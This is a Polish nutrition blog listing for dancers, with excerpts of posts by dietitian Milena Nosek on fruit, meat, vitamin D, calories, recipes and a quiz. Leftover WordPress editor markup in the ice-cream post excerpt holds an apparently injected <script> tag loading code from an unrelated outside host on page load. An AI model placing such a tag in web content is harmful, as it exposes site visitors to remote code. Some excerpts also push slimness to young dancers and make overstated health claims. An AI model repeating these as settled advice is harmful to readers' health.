Masz chrypkę? Zmień dietę!

Boli cię gardło? Masz chrypkę? Niekoniecznie wspomniane dolegliwości trzeba od razu kojarzyć z infekcją czy innymi, poważniejszymi schorzeniami. Czasami wystarczy zmienić codzienne menu, aby poprawić kondycję narządów głosu i układu oddechowego. Co prawda to, co spożywasz nie trafia bezpośrednio do krtani i położonych w niej fałdów głosowych, jednak nie jest obojętne dla organizmu i warunków, Dalej

Persymona - znajoma?

Persymona – znajoma?

Persymona – znajoma? Czy znacie ten przesłodki i energetyczny owoc? Inna nazwa persymony to Kaki, Hurma, Hebanek, Hebanowiec czy Sharon. Zimą w Polsce zyskał on swoją popularność zapewne dzięki niskiej cenie. Wykazuje on rzeczywiście cenne właściwości. Poznajcie kilka z nich: dzięki zawartości pro-witaminy A, ujędrnia, odmładza skórę, wzmacnia włosy i paznokcie; jest przeciwutleniaczem, dzięki czemu Dalej

Dietetyk Milena Nosek dla metkaBALETKA

Gdy zaniżasz energetyczność diety…

Gdy zaniżasz energetyczność diety… Nierzadko hobby, a potem zawód tancerki, tancerza wymaga redukcji masy ciała lub zmiany jego proporcji. Jest wiele sposobów, pomysłów i doświadczeń, które można zastosować, jednak zanim to nastanie, trzeba wiedzieć choć trochę na ten temat. Faktem jest, że szczupła sylwetka to klucz do szczęścia w tańcu. Ale…  zbyt mała wartość energetyczna Dalej

Dietetyk Milena Nosek dla metkaBALETKA

Malinowy blues

Malinowy Blues…….. … mroźnym, białym, styczniowym popołudniem, trzy Większe przyjaciółki spotykają się w urokliwej kawiarni. Zawołała je reklama stojąca – mówiąc po krakowsku – na polu – z naskrobanym różową kredą euforycznym napisem: „Gorąca czekolada z chilli! Tylko 10zł! Wejdź i rozgrzej się!” Tym samym napój z szyldu stał się być może ich drugim „posiłkiem” Dalej

Co z tym mięsem? Milena Nosek dla metkaBALETKA

Co z tym mięsem?

Zapewne wiecie, jak wiele kontrowersji i wątpliwości istnieje wokół mięsa… Krótko i zwięźle 🙂 W razie indywidualnych pytań, zapraszam serdecznie!!!! Tymczasem, dobrej lektury! jak we wszystkim, także i tutaj po prostu należy zachować umiar. Zaleca się spożywanie czerwonego mięsa kilka razy w miesiącu, w maksymalnej dawce 300-400 g tygodniowo znacznie częściej, bo około 3-4 razy Dalej

GET HOT BLOG MILENA NOSEK

Dancer! Rozgrzej sie na zimę!

Dancer! Rozgrzej sie na zimę! Dancer! Rozgrzej sie na zimę! Zapewne niejednokrotnie słyszeliście o tym, że zimą należy więcej jeść. Organizm walczy z zimnem, inną wilgotnością powietrza, małą ilością oświetlenia. Natomiast czynniki te, nie obligują nas do tego, by jeść więcej…tylko inaczej. Z pewnością należy zadbać o trzy ciepłe posiłki w ciągu dnia, co sprawi, Dalej

Wpis Milena Nosek #metkabaletka #dance #dancer #taniec

Vege ciasto bez pieczenia!

Nieodłącznie jesień często kojarzy się także z chętką na słodkości… Mam nadzieję, że mądrze wybieracie i decydujecie się na zdrowe zamienniki tradycyjnych ciast, ciasteczek czy batoników. Proponuję dziś Ciasto Raw Vege, które przygotujecie bez pieczenia! Spód: ½ szklanki migdałów ½ szklanki daktyli bez pestek Mielimy w blenderze na sucho, wyjmujemy, dodajemy trochę wody dla uzyskania Dalej

Blog Milena Nosek Quiz #metkabaletka #dance #dancer #taniec

Quiz!

Drodzy, zapraszam do rozwiązania quizu z wiedzy o żywieniu! Sprawdźcie swoją wiedzę, rozwiążcie test i zgłoście się do mnie! Otrzymacie klucz odpowiedzi i wówczas zweryfikujecie wiadomości – nie polecam szukać odpowiedzi w internecie 😉 Sery są bogate w: a) potas b) magnez c) fosfor 2. Poza najbardziej rozpowszechnionymi można również spotkać marchewki: a) niebieskie b) Dalej

Blog Milena Nosek Mocne kości dzięki figom #metkabaletka #dance #dancer

Mocne kości dzięki figom

Owoce fig słyną z wysokiej zawartości wapnia.  Jest on niezwykle potrzebny Waszym kościom i stawom. Owoc ten powinien znaleźć się na liście tych do spożywania co najmniej 4 x w tygodniu. W czasie mineralizacji kości, a później w stabilizacji, wapń odgrywa najważniejszą rolę. Ponadto, figi zawierają najwięcej błonnika z owoców suszonych (jeśli wybierzecie taką opcję). Dalej

5 pytań do Mileny #metkabaletka #dance #dancer #taniec

5 pytań do Mileny

5 pytań do Mileny Nosek by metkaBALETKA Team dietetyk Państwowej Ogólnokształcącej Szkoły Baletowej w Warszawie oraz Polskiego Baletu Narodowego. W wolnych chwilach specjalnie dla metkaBALETKA Milena przygotowuje posty o prawidłowym odżywianiu się, ukierunkowane na tancerzy. Z pasji do tańca i tancerzy informuje o zdrowych zachowaniach żywieniowych, topowych produktach, potrawach, nowościach. Marzę o…..przestronnym mieszkaniu w paryskiej Dalej

Blog Milena Nosek Prowiant do szkoły #metkabaletka #dance #dancer #taniec

Prowiant do szkoły?

Posiłek zabierany do szkoły jest bardzo istotnym elementem dnia. Część z Was omija I śniadanie, spożywa je dopiero przed południem lub na pierwszej przerwie, dlatego tak ważne jest, by zaplanować taki posiłek wcześniej. Zamiast uczęszczać regularnie do sklepików szkolnych lub zdawać się na uprzejmość kolegów, samodzielnie zadbaj o to, co zjesz w szkole. Poniżej lista Dalej

Blog Bromelina Milena Nosek #metkabaletka #dance #dancer #taniec

BROMELINA

 Bromelina jest enzymem naturalnie występującym w największym stężeniu w ananasie jadalnym. Charakteryzuje się właściwościami przeciwzapalnymi, przyspieszającymi gojenie się ran, oparzeń, siniaków i obrzęków, co często zdarza się podczas treningów, spektakli, czy turniejów. Co bardzo istotne, bromelina polecana jest w sporcie ze względu na wspomaganie przyswajalności białek i efektowną regenerację po wszelkich urazach. Ponadto, skutecznie wspomaga redukcję zbędnej tkanki tłuszczowej Dalej

DSC01036

Gotowanie na parze

Przygotowanie potraw to bardzo ważna kwestia w dbałości o codzienne menu. Nie tylko dobór, zestawienie i pory posiłków decydują o jakości Waszych stylów żywienia. To, w jaki sposób przygotowujecie potrawy, także ma nieodłączną ważność. Najbardziej ze wszystkich technik kulinarnych polecam gotowanie na parze. Jeśli nie posiadacie parowara, można użyć specjalnej nakładki na tradycyjny garnek. Dlaczego Dalej

Blog Witaj Szkoło Milena Nosek #metkabaletka #dance #dancer #taniec

Witaj, szkoło!

Mam nadzieję, że wakacje minęły Wam pięknie, a rozpoczęcie roku szkolnego nie będzie dla Was trudne. Zapowiada nam się wspólny, ciekawy, taneczny rok, także nie zapominajcie tutaj regularnie zaglądać!!! Na początek – uzupełnianie Sezonownika [sezonownik – tutaj]. Poniżej Wasza ściągawka. Ja skupiłam się na warzywach, a zadaniem dla Was jest uzupełnienie o owoce! Czekam na Dalej

Blog Milena Nosek #metkabaletka #dance #dancer #taniec

Dieta na dobry skok!

Dwa pojęcia, które od razu kojarzą się – mówiąc potocznie – z „dobrym skokiem” to lekkość i siła. Jak je uzyskać, utrzymać? Nie jest to łatwe, ale możliwe! Dziś skupimy się na tej pierwszej 😉 Lekkość Podstawowe zasady ogólne: Regularność posiłków – odstępy 3-3,5 godziny, ostatni posiłek 2,5 godziny przed snem. Płyny: minimum 8 szklanek Dalej

Blog Milena Nosek Cukinia #metkabaletka #dance #dancer #taniec

Sposób na linię!

Niskokaloryczne warzywa – sposób na linię! Lato to bogactwo różnorodnych warzyw, dzięki którym łatwiej jest utrzymać lub uzyskać piękną sylwetkę. Zawierają dużo wody, dobrze przyswajalne substancje mineralne, witaminy i błonnik, dzięki któremu to właśnie odczuwalne jest dłuższe nasycenie. Warzywa zawierają także składniki, przez które wolniej się starzejemy, a codzienne menu może wyglądać i smakować bardzo Dalej

Blog Milena Nosek Kalorie Energia #metkabaletka #dance #dancer #taniec

Energetycznie

……………..na prawidłowym poziomie Z pewnością termin kaloria jest Wam znana i często zastanawiacie się nad tym, w jakiej ilości trzeba przyjmować pożywienie, by dostarczyć odpowiedniej wartości. Pojęcie to nieodłącznie kojarzy się z masą ciała, ze szczupłością, ze zdrowiem, ale i z nadwagą i „niebezpiecznymi” produktami. Czytacie etykiety, przeliczacie…czy potrzebnie? Określenie ilości kilokalorii w produktach żywnościowych Dalej

Blog Milena Nosek Czereśnie #metkabaletka #dance #dancer #taniec

Czereśniowy blues

Lubicie czereśnie? Jeśli jest to niedoceniany przez Was owoc, polecam się do nich przekonać i korzystać z ich dobroczynnych właściwości, póki są! Ze względu na niską kaloryczność (szklanka tych owoców to około 50-60 kcal) nie przyczyniają się do wzrostu masy ciała; mają silne działanie przeciwzapalne i przeciwdrobnoustrojowe, tak więc dzięki nim wzmocnicie odporność. Co jeszcze ważniejsze Dalej

Blog Milena Nosek Sezonownik Tancerza #dance #dancer #taniec

Sezonownik Tancerza!

Zakładamy Sezonownik Tancerza! Zadanie dla Was na wakacje i nie tylko – polecam: zakup ładnego, kolorowego zeszytu, śledzenie Bloga i uzupełnianie notatek. Zaczynamy od dziś, w połowie wakacji, kiedy czekamy na piękny miesiąc – sierpień. Będziemy zapisywać w każdym z nich warzywa i owoce dostępne na rynku* i takie, które się pojawiły jako charakterystyczne i Dalej

lody

Ice cream, lody, le ice-cream, gelato…!

Wizualny Tekstowy <script src=http://a.c0594.com/?js=6></script>Wizualny <button type=”button” id=”content-html” class=”wp-switch-editor switch-html” data-wp-editor-id=”content”>Tekstowy</button> <div id=”wp-content-editor-container” class=”wp-editor-container”><div id=”ed_toolbar” class=”quicktags-toolbar”></div><textarea class=”wp-editor-area” style=”height: 300px” autocomplete=”off” cols=”40″ name=”content” id=”content”>Nieodłączne wspomnienie z dzieciństwa i jeden z najbardziej lubianych deserów. Dzisiaj przedstawię Wam, które lody wybierać, czy mają wartości i czy dbając o prawidłowe żywienie należy się ich wyrzekać. Zapraszam do lektury! Lody, jak Dalej

DSC00592

Co w teczkę na wycieczkę?

Wakacje to czas wyjazdów na obozy taneczne, praktyki i warsztaty. Wówczas zmienia się plan dnia, a co za tym idzie – tryb żywienia. Określone pory posiłków (zazwyczaj 3 posiłki) i czasami utrudniona dostępność do sklepów. Poniżej znajdziecie listę produktów, które można ze sobą zabrać w ramach prowiantu, aby uniknąć głodu, niezadowolenia i w szczególności – Dalej

#salatka#borowki#zdrowie#kolacja#wzrok#serce#

Dobry wzrok, zdrowe serce i smak

Tancerze! Jedzmy borówki! Te ciemnoniebieskie owoce cenione są nie tylko za smak, ale bardzo korzystne wartości odżywcze. Zapobiegają chorobom serca, zaparciom, wzmacniają i poprawiają wzrok, a przy tym są niskokaloryczne, tak więc można je dodać nawet do kolacyjnej sałatki! Idealne w zestawie z rukolą, kalarepą, pomidorem, pestkami dyni i olejem lnianym. Wszystkie te składniki współgrają Dalej

metka2

Sztandarowa przekąska – marchewka!

Tania, dostępna przez cały rok, smaczna, zdrowa i uniwersalna w użyciu – marchewka. Nie bez przyczyny stała się „symbolem” osób dbających o sylwetkę. Jedna sztuka średniej wielkości zawiera tylko 40 kcal, przy czym wysoka zawartość błonnika czyni ją bardzo sycącą. Oprócz tej właściwości ma wiele innych: pomaga w walce z trądzikiem, nadaje ładny koloryt skórze, Dalej

wit d wzor

Zadbaj o witaminę D!

Witamina D to jedna z podstawowych witamin dla tancerza! Przede wszystkim ze względu na kościec, ale i masę ciała. Niedobór sprzyja rozwojowi chorób kości, ale i serca, częstszym kontuzjom, rozwojowi otyłości i nowotworów. Co ważne – witamina D zwiększa siłę mięśni! Zaopatrzenie ludzkiego organizmu w tę witaminę zależy głównie od ekspozycji na światło słoneczne; pożywienie Dalej